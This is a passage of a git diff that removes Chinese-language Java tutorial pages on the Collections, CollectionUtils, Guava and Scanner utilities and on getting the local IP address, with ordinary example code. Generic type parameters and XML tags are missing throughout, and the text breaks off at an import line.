- -### 04、不可变集合 - -- `emptyXxx()`:制造一个空的不可变集合 -- `singletonXxx()`:制造一个只有一个元素的不可变集合 -- `unmodifiableXxx()`:为指定集合制作一个不可变集合 - -举个例子: - -```java -List emptyList = Collections.emptyList(); -emptyList.add("非空"); -System.out.println(emptyList); -``` - -这段代码在执行的时候就抛出错误了。 - -``` -Exception in thread "main" java.lang.UnsupportedOperationException - at java.util.AbstractList.add(AbstractList.java:148) - at java.util.AbstractList.add(AbstractList.java:108) - at com.itwanger.s64.Demo.main(Demo.java:61) -``` - -这是因为 `Collections.emptyList()` 会返回一个 Collections 的内部类 EmptyList,而 EmptyList 并没有重写父类 AbstractList 的 `add(int index, E element)` 方法,所以执行的时候就抛出了不支持该操作的 UnsupportedOperationException 了。 - -这是从分析 add 方法源码得出的原因。除此之外,emptyList 方法是 final 的,返回的 EMPTY_LIST 也是 final 的,种种迹象表明 emptyList 返回的就是不可变对象,没法进行增删改查。 - -```java -public static final List emptyList() { - return (List) EMPTY_LIST; -} - -public static final List EMPTY_LIST = new EmptyList<>(); -``` - -### 05、其他 - -还有两个方法比较常用: - -- `addAll(Collection c, T... elements)`,往集合中添加元素 -- `disjoint(Collection c1, Collection c2)`,判断两个集合是否没有交集 - -举个例子: - -```java -List allList = new ArrayList<>(); -Collections.addAll(allList, "沉默王九","沉默王十","沉默王二"); -System.out.println("addAll 后:" + allList); - -System.out.println("是否没有交集:" + (Collections.disjoint(list, allList) ? "是" : "否")); -``` - -输出后: - -``` -原始顺序:[沉默王二, 沉默王三, 沉默王四, 沉默王五, 沉默王六] -addAll 后:[沉默王九, 沉默王十, 沉默王二] -是否没有交集:否 -``` - -### 06、CollectionUtils:Spring 和 Apache 都有提供的集合工具类 - -对集合操作,除了前面说的 JDK 原生 `Collections` 工具类,`CollectionUtils`工具类也很常用。 - -目前比较主流的是`Spring`的`org.springframework.util`包下的 CollectionUtils 工具类。 - -![](https://cdn.paicoding.com/stutymore/utils-20230330101919.png) - -和`Apache`的`org.apache.commons.collections`包下的 CollectionUtils 工具类。 - -![](https://cdn.paicoding.com/stutymore/utils-20230330103825.png) - -Maven 坐标如下: - -``` - - org.apache.commons - commons-collections4 - 4.4 - -``` - -Apache 的方法比 Spring 的更多一些,我们就以 Apache 的为例,来介绍一下常用的方法。 - -#### 集合判空 - -通过 CollectionUtils 工具类的`isEmpty`方法可以轻松判断集合是否为空,`isNotEmpty`方法判断集合不为空。 - -```java -List list = new ArrayList<>(); -list.add(2); -list.add(1); -list.add(3); - -if (CollectionUtils.isEmpty(list)) { - System.out.println("集合为空"); -} - -if (CollectionUtils.isNotEmpty(list)) { - System.out.println("集合不为空"); -} -``` - -#### 对两个集合进行操作 - -有时候我们需要对已有的两个集合进行操作,比如取交集或者并集等。 - -```java -List list = new ArrayList<>(); -list.add(2); -list.add(1); -list.add(3); - -List list2 = new ArrayList<>(); -list2.add(2); -list2.add(4); - -//获取并集 -Collection unionList = CollectionUtils.union(list, list2); -System.out.println(unionList); - -//获取交集 -Collection intersectionList = CollectionUtils.intersection(list, list2); -System.out.println(intersectionList); - -//获取交集的补集 -Collection disjunctionList = CollectionUtils.disjunction(list, list2); -System.out.println(disjunctionList); - -//获取差集 -Collection subtractList = CollectionUtils.subtract(list, list2); -System.out.println(subtractList); -``` - -执行结果: - -```java -[1, 2, 3, 4] -[2] -[1, 3, 4] -[1, 3] -``` - -说句实话,对两个集合的操作,在实际工作中用得挺多的,特别是很多批量的场景中。以前我们需要写一堆代码,但没想到有现成的轮子。 - -### 07、小结 - -整体上,Collections 工具类作为集合框架的大管家,提供了一些非常便利的方法供我们调用,也非常容易掌握,没什么难点,看看方法的注释就能大致明白干嘛的。 - -不过,工具就放在那里,用是一回事,为什么要这么用就是另外一回事了。能不能提高自己的编码水平,很大程度上取决于你到底有没有去钻一钻源码,看这些设计 JDK 的大师们是如何写代码的,学会一招半式,在工作当中还是能很快脱颖而出的。 - -恐怕 JDK 的设计者是这个世界上最好的老师了,文档写得不能再详细了,代码写得不能再优雅了,基本上都达到了性能上的极致。 - -可能有人会说,工具类没什么鸟用,不过是调用下方法而已,但这就大错特错了:如果要你来写,你能写出来 Collections 这样一个工具类吗? - -这才是高手要思考的一个问题。 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) - - - diff --git a/docs/src/common-tool/guava.md b/docs/src/common-tool/guava.md deleted file mode 100644 index b77fd0c43b..0000000000 --- a/docs/src/common-tool/guava.md +++ /dev/null @@ -1,346 +0,0 @@ ---- -title: Guava:Google开源的Java工具库,太强大了 -shortTitle: Guava工具库 -category: - - Java核心 -tag: - - 常用工具类 -description: 描述:本文详细介绍了Google开源的Java工具库Guava,阐述了它在简化Java编程中的实际应用和优势。通过具体的代码示例,展示了如何使用Guava解决字符串处理、集合操作、缓存等常见问题。学习Guava的技巧,让您在Java编程中更加轻松、高效,享受编程的乐趣。 -head: - - - meta - - name: keywords - content: Java,Java SE,Java基础,Java教程,二哥的Java进阶之路,Java进阶之路,Java入门,教程,java,Guava,java guava,google guava ---- - - -### 01、前世今生 - -你好呀,我是 Guava。 - -我由 Google 公司开源,目前在 GitHub 上已经有 39.9k 的铁粉了,由此可以证明我的受欢迎程度。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/common-tool/guava-01.png) - -我的身体里主要包含有这些常用的模块:集合 [collections] 、缓存 [caching] 、原生类型支持 [primitives support] 、并发库 [concurrency libraries] 、通用注解 [common annotations] 、字符串处理 [string processing] 、I/O 等。新版的 JDK 中已经直接把我引入了,可想而知我有多优秀,忍不住骄傲了。 - -这么说吧,学好如何使用我,能让你在编程中变得更快乐,写出更优雅的代码! - -### 02、引入 Guava - -如果你要在 Maven 项目使用我的话,需要先在 pom.xml 文件中引入我的依赖。 - -``` - - com.google.guava - guava - 30.1-jre - -``` - -一点要求,JDK 版本需要在 8 以上。 - -### 03、基本工具 - -Doug Lea,java.util.concurrent 包的作者,曾说过一句话:“[null 真糟糕](https://javabetter.cn/exception/npe.html)”。Tony Hoare,图灵奖得主、快速排序算法的作者,当然也是 null 的创建者,也曾说过类似的话:“null 的使用,让我损失了十亿美元。”鉴于此,我用 Optional 来表示可能为 null 的对象。 - -![](https://cdn.paicoding.com/stutymore/guava-20230329172935.png) - - -代码示例如下所示。 - -```java -Optional possible = Optional.of(5); -possible.isPresent(); // returns true -possible.get(); // returns 5 -``` - -我大哥 Java 在 JDK 8 中新增了 [Optional 类](https://javabetter.cn/java8/optional.html),显然是从我这借鉴过去的,不过他的和我的有些不同。 - -- 我的 Optional 是 abstract 的,意味着我可以有子类对象;我大哥的是 final 的,意味着没有子类对象。 -- 我的 Optional 实现了 Serializable 接口,可以序列化;我大哥的没有。 -- 我的一些方法和我大哥的也不尽相同。 - -使用 Optional 除了赋予 null 语义,增加了可读性,最大的优点在于它是一种傻瓜式的防护。Optional 迫使你积极思考引用缺失的情况,因为你必须显式地从 Optional 获取引用。 - -除了 Optional 之外,我还提供了: - -- 参数校验 -- 常见的 Object 方法,比如说 Objects.equals、Objects.hashCode,JDK 7 引入的 Objects 类提供同样的方法,当然也是从我这借鉴的灵感。 -- 更强大的比较器 - -### 04、集合 - -首先我来说一下,为什么需要不可变集合。 - -- 保证线程安全。在并发程序中,使用不可变集合既保证线程的安全性,也大大地增强了并发时的效率(跟并发锁方式相比)。 -- 如果一个对象不需要支持修改操作,不可变的集合将会节省空间和时间的开销。 -- 可以当作一个常量来对待,并且集合中的对象在以后也不会被改变。 - -与 JDK 中提供的不可变集合相比,我提供的 Immutable 才是真正的不可变,我为什么这么说呢?来看下面这个示例。 - -下面的代码利用 JDK 的 [`Collections.unmodifiableList(list)`](https://javabetter.cn/common-tool/collections.html) 得到一个不可修改的集合 unmodifiableList。 - -```java -List list = new ArrayList(); -list.add("雷军"); -list.add("乔布斯"); - -List unmodifiableList = Collections.unmodifiableList(list); -unmodifiableList.add("马云"); -``` - -运行代码将会出现以下异常: - -``` -Exception in thread "main" java.lang.UnsupportedOperationException - at java.base/java.util.Collections$UnmodifiableCollection.add(Collections.java:1060) - at com.itwanger.guava.NullTest.main(NullTest.java:29) -``` - -很好,执行 `unmodifiableList.add()` 的时候抛出了 UnsupportedOperationException 异常,说明 `Collections.unmodifiableList()` 返回了一个不可变集合。但真的是这样吗? - -你可以把 `unmodifiableList.add()` 换成 `list.add()`。 - -```java -List list = new ArrayList(); -list.add("雷军"); -list.add("乔布斯"); - -List unmodifiableList = Collections.unmodifiableList(list); -list.add("马云"); -``` - -再次执行的话,程序并没有报错,并且你会发现 unmodifiableList 中真的多了一个元素。说明什么呢? - -`Collections.unmodifiableList(…)` 实现的不是真正的不可变集合,当原始集合被修改后,不可变集合里面的元素也是跟着发生变化。 - -我就不会犯这种错,来看下面的代码。 - -```java -List stringArrayList = Lists.newArrayList("雷军","乔布斯"); -ImmutableList immutableList = ImmutableList.copyOf(stringArrayList); -immutableList.add("马云"); -``` - -尝试 `immutableList.add()` 的时候会抛出 `UnsupportedOperationException`。我在源码中已经把 `add()` 方法废弃了。 - -```java -/** - * Guaranteed to throw an exception and leave the collection unmodified. - * - * @throws UnsupportedOperationException always - * @deprecated Unsupported operation. - */ -@CanIgnoreReturnValue -@Deprecated -@Override -public final boolean add(E e) { - throw new UnsupportedOperationException(); -} -``` - -尝试 `stringArrayList.add()` 修改原集合的时候 immutableList 并不会因此而发生改变。 - -除了不可变集合以外,我还提供了新的集合类型,比如说: - -- Multiset,可以多次添加相等的元素。当把 Multiset 看成普通的 Collection 时,它表现得就像无序的 ArrayList;当把 Multiset 看作 `Map` 时,它也提供了符合性能期望的查询操作。 -- Multimap,可以很容易地把一个键映射到多个值。 -- BiMap,一种特殊的 Map,可以用 `inverse()` 反转 - `BiMap` 的键值映射;保证值是唯一的,因此 `values()` 返回 Set 而不是普通的 Collection。 - -### 05、字符串处理 - -字符串表示字符的不可变序列,创建后就不能更改。在我们日常的工作中,字符串的使用非常频繁,熟练的对其操作可以极大的提升我们的工作效率。 - -我提供了连接器——Joiner,可以用分隔符把字符串序列连接起来。下面的代码将会返回“雷军; 乔布斯”,你可以使用 `useForNull(String)` 方法用某个字符串来替换 null,而不像 `skipNulls()` 方法那样直接忽略 null。 - -```java -Joiner joiner = Joiner.on("; ").skipNulls(); -return joiner.join("雷军", null, "乔布斯"); -``` - -我还提供了拆分器—— Splitter,可以按照指定的分隔符把字符串序列进行拆分。 - -```java -Splitter.on(',') - .trimResults() - .omitEmptyStrings() - .split("雷军,乔布斯,, 沉默王二"); -``` - -### 06、缓存 - -缓存在很多场景下都是相当有用的。你应该知道,检索一个值的代价很高,尤其是需要不止一次获取值的时候,就应当考虑使用缓存。 - -我提供的 Cache 和 ConcurrentMap 很相似,但也不完全一样。最基本的区别是 ConcurrentMap 会一直保存所有添加的元素,直到显式地移除。相对地,我提供的 Cache 为了限制内存占用,通常都设定为自动回收元素。 - -如果你愿意消耗一些内存空间来提升速度,你能预料到某些键会被查询一次以上,缓存中存放的数据总量不会超出内存容量,就可以使用 Cache。 - -来个示例你感受下吧。 - -```java -@Test -public void testCache() throws ExecutionException, InterruptedException { - - CacheLoader cacheLoader = new CacheLoader() { - // 如果找不到元素,会调用这里 - @Override - public Animal load(String s) { - return null; - } - }; - LoadingCache loadingCache = CacheBuilder.newBuilder() - .maximumSize(1000) // 容量 - .expireAfterWrite(3, TimeUnit.SECONDS) // 过期时间 - .removalListener(new MyRemovalListener()) // 失效监听器 - .build(cacheLoader); // - loadingCache.put("狗", new Animal("旺财", 1)); - loadingCache.put("猫", new Animal("汤姆", 3)); - loadingCache.put("狼", new Animal("灰太狼", 4)); - - loadingCache.invalidate("猫"); // 手动失效 - - Animal animal = loadingCache.get("狼"); - System.out.println(animal); - Thread.sleep(4 * 1000); - // 狼已经自动过去,获取为 null 值报错 - System.out.println(loadingCache.get("狼")); -} - -/** - * 缓存移除监听器 - */ -class MyRemovalListener implements RemovalListener { - - @Override - public void onRemoval(RemovalNotification notification) { - String reason = String.format("key=%s,value=%s,reason=%s", notification.getKey(), notification.getValue(), notification.getCause()); - System.out.println(reason); - } -} - -class Animal { - private String name; - private Integer age; - - public Animal(String name, Integer age) { - this.name = name; - this.age = age; - } -} -``` - -CacheLoader 中重写了 load 方法,这个方法会在查询缓存没有命中时被调用,我这里直接返回了 null,其实这样会在没有命中时抛出 CacheLoader returned null for key 异常信息。 - -MyRemovalListener 作为缓存元素失效时的监听类,在有元素缓存失效时会自动调用 onRemoval 方法,这里需要注意的是这个方法是同步方法,如果这里耗时较长,会阻塞直到处理完成。 - -LoadingCache 就是缓存的主要操作对象了,常用的就是其中的 put 和 get 方法了。 - -### 07、集合工具 - -`com.google.common.collect`包下的集合工具:`Lists`也非常强大。 - -#### 创建空集合 - -有时候,我们想创建一个空集合。这时可以用Lists的`newArrayList`方法,例如: -```java -List list = Lists.newArrayList(); -``` - -#### 快速初始化集合 - -有时候,我们想给一个集合中初始化一些元素。这时可以用Lists的newArrayList方法,例如: -```java -List list = Lists.newArrayList(1, 2, 3); -``` -执行结果: -```java -[1, 2, 3] -``` - -#### 笛卡尔积 - -如果你想将两个集合做`笛卡尔积`,Lists的`cartesianProduct`方法可以帮你实现: -```java -List list1 = Lists.newArrayList(1, 2, 3); -List list2 = Lists.newArrayList(4,5); -List> productList = Lists.cartesianProduct(list1,list2); -System.out.println(productList); -``` -执行结果: -```java -[[1, 4], [1, 5], [2, 4], [2, 5], [3, 4], [3, 5]] -``` - -#### 分页 - -如果你想将一个`大集合`分成若干个`小集合`,可以使用Lists的`partition`方法: - -```java -List list = Lists.newArrayList(1, 2, 3, 4, 5); -List> partitionList = Lists.partition(list, 2); -System.out.println(partitionList); -``` - -执行结果: - -```java -[[1, 2], [3, 4], [5]] -``` - -这个例子中,list有5条数据,我将list集合按大小为2,分成了3页,即变成3个小集合。 - -这个是我最喜欢的方法之一,经常在项目中使用。 - -比如有个需求:现在有5000个id,需要调用批量用户查询接口,查出用户数据。但如果你直接查5000个用户,单次接口响应时间可能会非常慢。如果改成分页处理,每次只查500个用户,异步调用10次接口,就不会有单次接口响应慢的问题。 - -#### 流处理 - -如果我们想把某个集合转换成另外一个接口,可以使用Lists的 `transform`方法。例如: - -```java -List list = Lists.newArrayList("a","b","c"); -List transformList = Lists.transform(list, x -> x.toUpperCase()); -System.out.println(transformList); -``` - -将小写字母转换成了大写字母。 - -#### 颠倒顺序 - -Lists的有颠倒顺序的方法`reverse`。例如: - -```java -List list = Lists.newArrayList(3, 1, 2); -List reverseList = Lists.reverse(list); -System.out.println(reverseList); -``` - -执行结果: - -```java -[2, 1, 3] -``` - -list的原始顺序是312,使用`reverse`方法颠倒顺序之后,变成了213。 - -Lists还有其他的好用的工具,我在这里只是抛砖引玉,有兴趣的小伙伴,可以仔细研究一下。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/common-tool/guava-4b962b06-a626-4707-9fe9-f5729536d9c5.jpg) - -### 08、尾声 - -上面介绍了我认为最常用的功能,作为 Google 公司开源的 Java 开发核心库,个人觉得实用性还是很高的(不然呢?嘿嘿嘿)。引入到你的项目后不仅能快速的实现一些开发中常用的功能,而且还可以让代码更加的优雅简洁。 - -我觉得适用于每一个 Java 项目,至于其他的一些功能,比如说散列、事件总线、数学运算、反射,就等待你去发掘了。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/common-tool/guava-03.png) - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/common-tool/scanner.md b/docs/src/common-tool/scanner.md deleted file mode 100644 index b415dfdba2..0000000000 --- a/docs/src/common-tool/scanner.md +++ /dev/null @@ -1,221 +0,0 @@ ---- -title: Java Scanner:金控控制台输入,还能扫描文件 -shortTitle: Scanner工具类 -category: - - Java核心 -tag: - - 常用工具类 -description: 本文深入剖析了Java中的Scanner类,详细介绍了其用法、功能以及如何在实际应用中扫描控制台输入。通过具体代码示例,让您更好地理解Scanner的工作原理,使得控制台输入处理变得简单高效。掌握Scanner类,让Java编程更加得心应手。 -head: - - - meta - - name: keywords - content: Java,Java SE,Java基础,Java教程,二哥的Java进阶之路,Java进阶之路,Java入门,教程,java,Scanner,输入,java Scanner,java 扫描 ---- - - -Java 的 Scanner 类是一个方便在控制台扫描用户输入的工具类,虽然它也可以扫描文件内容,但我们通常更喜欢它扮演前面的角色,因为扫描文件可以通过[文件流](https://javabetter.cn/io/file-path.html)来完成。 - -接下来,我们通过几个简单的示例讲一下 Scanner 类。 - -### 01、扫描控制台输入 - -通常,我们会使用 Scanner 类来扫描控制台输入,尤其是对于初学 Java 的人来说,这样会非常的酷,因为终于可以拿到我们自己想要输入的数据了。 - -来看下面的示例: - -```java -Scanner scanner = new Scanner(System.in); // 创建 Scanner 对象,从标准输入流中读取数据 -System.out.print("请输入一个整数:"); -int num = scanner.nextInt(); // 获取用户输入的整数 -System.out.println("您输入的整数是:" + num); -scanner.nextLine(); // 读取换行符,避免影响下一次读取 -System.out.print("请输入一个字符串:"); -String str = scanner.nextLine(); // 获取用户输入的字符串 -System.out.println("您输入的字符串是:" + str); -scanner.close(); // 关闭 Scanner 对象 -``` - -运行后就可以在控制台交互了,对于新手来说,估计会觉得比较有趣。 - -![](https://cdn.paicoding.com/stutymore/scanner-20230329150001.png) - -其中 System.in 返回的是一个[字节输入流](https://javabetter.cn/io/stream.html) InputStream,和 System.out 刚好对应。 - -![](https://cdn.paicoding.com/stutymore/scanner-20230329151635.png) - -#### 1)nextLine - -`nextLine()` 方法会扫描输入流中的字符,直到遇到行末尾的换行符 `\n`,然后将该行的内容作为字符串返回,同时,`nextLine()` 会将 Scanner 对象的位置移动到下一行的开头,以便下一次读取数据时从下一行的开头开始读取。 - -```java -Scanner scanner = new Scanner(System.in); // 创建 Scanner 对象,从标准输入流中读取数据 -System.out.println("请输入多行文本,以空行结束:"); -StringBuilder sb = new StringBuilder(); // 创建 StringBuilder 对象,用于保存读取的文本 -String line = scanner.nextLine(); // 读取输入流中的第一行 -while (!line.isEmpty()) { // 如果读取的行不为空,则继续读取下一行 - sb.append(line).append("\n"); // 将当前行的内容添加到 StringBuilder 对象中,并换行 - line = scanner.nextLine(); // 读取下一行 -} -System.out.println("您输入的文本是:\n" + sb.toString()); // 打印读取的文本 -scanner.close(); // 关闭 Scanner 对象 -``` - -#### 2)nextInt - -`nextInt()` 用于从输入流中读取下一个整数并返回,如果输入流中没有整数,或者不是整数,将抛出 InputMismatchException 异常。 - -![](https://cdn.paicoding.com/stutymore/scanner-20230329153155.png) - -#### 3)其他方法 - -除了以上两个常用的方法,Scanner 类中还有一些其他的方法: - -- `boolean hasNext()`:检查输入流是否还有下一个标记。 -- `boolean hasNextLine()`:检查输入流是否还有下一行。 -- `String next()`:读取输入流中的下一个标记(使用默认的分隔符,通常是空格或换行符)。 -- `double nextDouble()`:读取输入流中的下一个双精度浮点数。 - -来个 demo 吧。 - -```java -Scanner scanner = new Scanner(System.in); // 创建 Scanner 对象,从标准输入流中读取数据 -System.out.print("请输入一个整数:"); -if (scanner.hasNextInt()) { // 判断输入流中是否有下一个整数 - int num = scanner.nextInt(); // 读取输入流中的下一个整数 - System.out.println("您输入的整数是:" + num); -} else { - System.out.println("输入的不是整数!"); -} -scanner.nextLine(); // 读取输入流中的换行符 - -System.out.print("请输入多个单词,以空格分隔:"); -while (scanner.hasNext()) { // 判断输入流中是否还有下一个标记 - String word = scanner.next(); // 读取输入流中的下一个单词 - System.out.println("您输入的单词是:" + word); -} -scanner.nextLine(); // 读取输入流中的换行符 - -System.out.print("请输入一个实数:"); -if (scanner.hasNextDouble()) { // 判断输入流中是否有下一个实数 - double num = scanner.nextDouble(); // 读取输入流中的下一个实数 - System.out.println("您输入的实数是:" + num); -} else { - System.out.println("输入的不是实数!"); -} -scanner.nextLine(); // 读取输入流中的换行符 - -System.out.print("请输入一个字符串:"); -if (scanner.hasNextLine()) { // 判断输入流中是否有下一行 - String line = scanner.nextLine(); // 读取输入流中的下一行 - System.out.println("您输入的字符串是:" + line); -} else { - System.out.println("输入的不是字符串!"); -} -scanner.close(); // 关闭 Scanner 对象 -``` - -### 02、扫描文件 - -当然了,Scanner 也是可以用来扫描文件的,方式也非常的简单,以下是代码示例: - -```java -try { - // 创建 File 对象,表示要扫描的文件 - File file = new File("docs/安装环境.md"); - Scanner scanner = new Scanner(file); // 创建 Scanner 对象,从文件中读取数据 - while (scanner.hasNextLine()) { // 判断文件中是否有下一行 - String line = scanner.nextLine(); // 读取文件中的下一行 - System.out.println(line); // 打印读取的行 - } - scanner.close(); // 关闭 Scanner 对象 -} catch (FileNotFoundException e) { - System.out.println("文件不存在!"); -} -``` - -在上面的示例中,我们首先创建了一个 File 对象,表示要扫描的文件。然后,我们使用 Scanner 类的构造方法来创建 Scanner 对象,将文件作为参数传递给构造方法。在 while 循环中,我们使用 `hasNextLine()` 方法来判断文件中是否有下一行,如果有,则使用 `nextLine()` 方法读取该行字符串,并使用 `println()` 方法将其打印出来。最后,我们在程序结束前使用 `close()` 方法关闭 Scanner 对象。 - -除了使用循环+nextLine,我们还可以使用 useDelimiter 方法设置文件结束符 `\Z` 来读取整个文件。 - -```java -// 创建 File 对象,表示要扫描的文件 -Scanner scanner = new Scanner(new File("docs/安装环境.md")); // 创建 Scanner 对象,从文件中读取数据 -scanner.useDelimiter("\\Z"); // 设置分隔符为文件结尾 -if (scanner.hasNext()) { // 判断文件中是否有下一行 - String content = scanner.next(); // 读取文件中的下一行 - System.out.println(content); // 打印读取的行 -} -scanner.close(); // 关闭 Scanner 对象 -``` - -正则表达式中的 `\Z` 表示输入的结尾,也就是文件结束符。在 Scanner 类中,我们可以使用 `\Z` 作为分隔符,以便读取整个文件内容。 - -### 03、查找匹配项 - -除了上面提到的扫描控制台输入流、文件,Scanner 还提供了另外四个以 find 开头的查找匹配项的方法: - -![](https://cdn.paicoding.com/stutymore/scanner-20230329162213.png) - -来看示例: - -```java -String input = "good good study, day day up."; -Scanner scanner = new Scanner(input); -String result; - -// 使用 findInLine() 方法查找字符串中的单词 -result = scanner.findInLine("study"); -System.out.println("findInLine(): " + result); // 输出 "study" - -// 使用 findWithinHorizon() 方法查找字符串中的单词 -scanner = new Scanner(input); -result = scanner.findWithinHorizon("study", 20); -System.out.println("findWithinHorizon(): " + result); // 输出 "study" - -scanner.close(); // 关闭 Scanner 对象 -``` - -在上面的示例中,我们首先创建了一个字符串 input,表示要查找的文本。然后,我们使用 Scanner 类的构造方法创建 Scanner 对象,并将 input 作为输入流传递给该对象。接着,我们使用 `findInLine()` 方法和 `findWithinHorizon()` 方法分别查找字符串中的单词 "study"。其中,`findInLine()` 方法在当前行中查找匹配项,而 `findWithinHorizon()` 方法在指定的限制范围内查找匹配项。在本例中,我们将查找的范围限制为前 20 个字符。 - -需要注意的是,`findInLine()` 方法和 `findWithinHorizon()` 方法都返回找到的匹配项。如果没有找到匹配项,则返回 null。此外,`findInLine()` 方法和 `findWithinHorizon()` 方法都会忽略默认的分隔符,因此需要使用正则表达式来指定查找的模式。在本例中,我们使用了字符串 "study" 作为查找的模式。 - -当然我们也可以使用正则表达式,比如说我们要在下面的文件中查找 openjdk 这个关键字。 - -![](https://cdn.paicoding.com/stutymore/scanner-20230329163743.png) - -代码就可以这样写: - -```java -// 创建 File 对象,表示要扫描的文件 -Scanner scanner = new Scanner(new File("docs/安装环境.md")); // 创建 Scanner 对象,从文件中读取数据 -Pattern pattern = Pattern.compile("op..jdk"); -String result; -while ((result = scanner.findWithinHorizon(pattern, 0)) != null) { - System.out.println("findWithinHorizon(): " + result); -} -``` - -我们用正则表达式 pattern 来表示 `openjdk` 这个关键字,`op..jdk` 中的 `.` 表示任意字符,可以通过查找正则表达式去了解。 - -然后我们使用 while 循环来查找文件中所有的 `openjdk`,其中 findWithinHorizon 方法的第二个参数如果为 0 则表示忽略边界,如果没找到,会返回 null。 - -![](https://cdn.paicoding.com/stutymore/scanner-20230329165146.png) - -由于文件中有两个 openjdk 关键字,所以输出结果如下所示: - -![](https://cdn.paicoding.com/stutymore/scanner-20230329165213.png) - -### 04、小结 - -总之,Scanner 类是一个功能强大的输入处理工具类,不仅可以扫描控制台的输入流,还可以扫描文件,并且提供了多种方法来读取不同类型的数据,比如 `next()`, `nextInt()`, `nextLine()`, `nextDouble()` 等。 - -除此之外,还可以通过 `useDelimiter()` 方法设置分隔符,通过 `findInLine()`, `findWithinHorizon()` 查找匹配项等。 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/common-tool/utils.md b/docs/src/common-tool/utils.md deleted file mode 100644 index 8023b6fa5d..0000000000 --- a/docs/src/common-tool/utils.md +++ /dev/null @@ -1,396 +0,0 @@ ---- -title: 其他常用Java工具类:IPUtil、CollectionUtils、MDC、ClassUtils、BeanUtils、ReflectionUtils -shortTitle: 其他常用工具类 -category: - - Java核心 -tag: - - 常用工具类 -description: 描述:本文详细介绍了Java编程中常用的一些工具类,如IpUtil、MDC、ClassUtils、BeanUtils、ReflectionUtils等。通过具体的代码示例,阐述了这些工具类在实际应用中的优势和使用方法。掌握这些实用的Java工具类,让您在Java编程中轻松应对各种开发任务,提高开发效率。 -head: - - - meta - - name: keywords - content: Java,Java SE,Java基础,Java教程,二哥的Java进阶之路,Java进阶之路,Java入门,教程,java,工具类,轮子,java 工具类,java IPUtil,java CollectionUtils ---- - - -除了我们前面提到的 Java 原生工具类,比如说 [Arrays](https://javabetter.cn/common-tool/arrays.html)、[Objects](https://javabetter.cn/common-tool/Objects.html)、[Collections](https://javabetter.cn/common-tool/collections.html)、[Scanner](https://javabetter.cn/common-tool/scanner.html) 等,还有一些第三方的工具类,比如说 [Hutool](https://javabetter.cn/common-tool/hutool.html)、[Guava](https://javabetter.cn/common-tool/guava.html) 等,以及我们今天介绍的 IpUtil、CollectionUtils、StringUtils、MDC、ClassUtils、BeanUtils、ReflectionUtils 等等,在很大程度上能够提高我们的生产效率。 - -当然了,如果能好好看一下它们的源码,对技术功底的提升,也是有很大帮助的。 - -### IpUtil:获取本机 Ip - -获取本机 IP 算是比较常见的一个需求场景了,比如业务报警,可能就会带上出问题的机器 IP,方便直接上去看日志定位问题,那么问题来了,如何获取机器 IP 呢? - -#### 1. 基本方法 - -如何获取机器 IP?如果了解 InetAddress 这个工具类,就很容易写出一个简单的工具类,如下 - -```java -public static String getLocalIP() { - try { - return InetAddress.getLocalHost().getHostAddress(); - } catch (UnknownHostException e) { - throw new RuntimeException(e); - } -} -``` - -上面的实现有问题么? - -当然没问题,拿我本机和阿里服务器执行一下,并没有问题如实的输出了预期的 IP - -本机执行后截图如下: - -![](https://cdn.paicoding.com/stutymore/utils-20230330093633.png) - -阿里云机器执行后截图如下: - -![](https://cdn.paicoding.com/stutymore/utils-20230330095801.png) - -#### 2. 进阶版 - -做一点简单的改动,获取 IPV4 的地址,源码如下 - -```java -public static String getLocalIpByNetcard() { - try { - // 枚举所有的网络接口 - for (Enumeration e = NetworkInterface.getNetworkInterfaces(); e.hasMoreElements(); ) { - // 获取当前网络接口 - NetworkInterface item = e.nextElement(); - - // 遍历当前网络接口的所有地址 - for (InterfaceAddress address : item.getInterfaceAddresses()) { - // 忽略回环地址和未启用的网络接口 - if (item.isLoopback() || !item.isUp()) { - continue; - } - - // 如果当前地址是 IPv4 地址,则返回其字符串表示 - if (address.getAddress() instanceof Inet4Address) { - Inet4Address inet4Address = (Inet4Address) address.getAddress(); - return inet4Address.getHostAddress(); - } - } - } - - // 如果没有找到任何 IPv4 地址,则返回本地主机地址 - return InetAddress.getLocalHost().getHostAddress(); - } catch (SocketException | UnknownHostException e) { - // 抛出运行时异常 - throw new RuntimeException(e); - } -} -``` - -需要注意的是,这段代码只返回本机的 IPv4 地址,并且只返回第一个符合条件的地址。如果本机有多个网络接口或者每个接口有多个地址,则可能无法返回预期的地址。此外,如果找不到任何 IPv4 地址,则会返回本地主机地址。 - -再次测试,输出如下 - -![](https://cdn.paicoding.com/stutymore/utils-20230330100334.png) - -#### 3. 完整工具类 - -```java -import 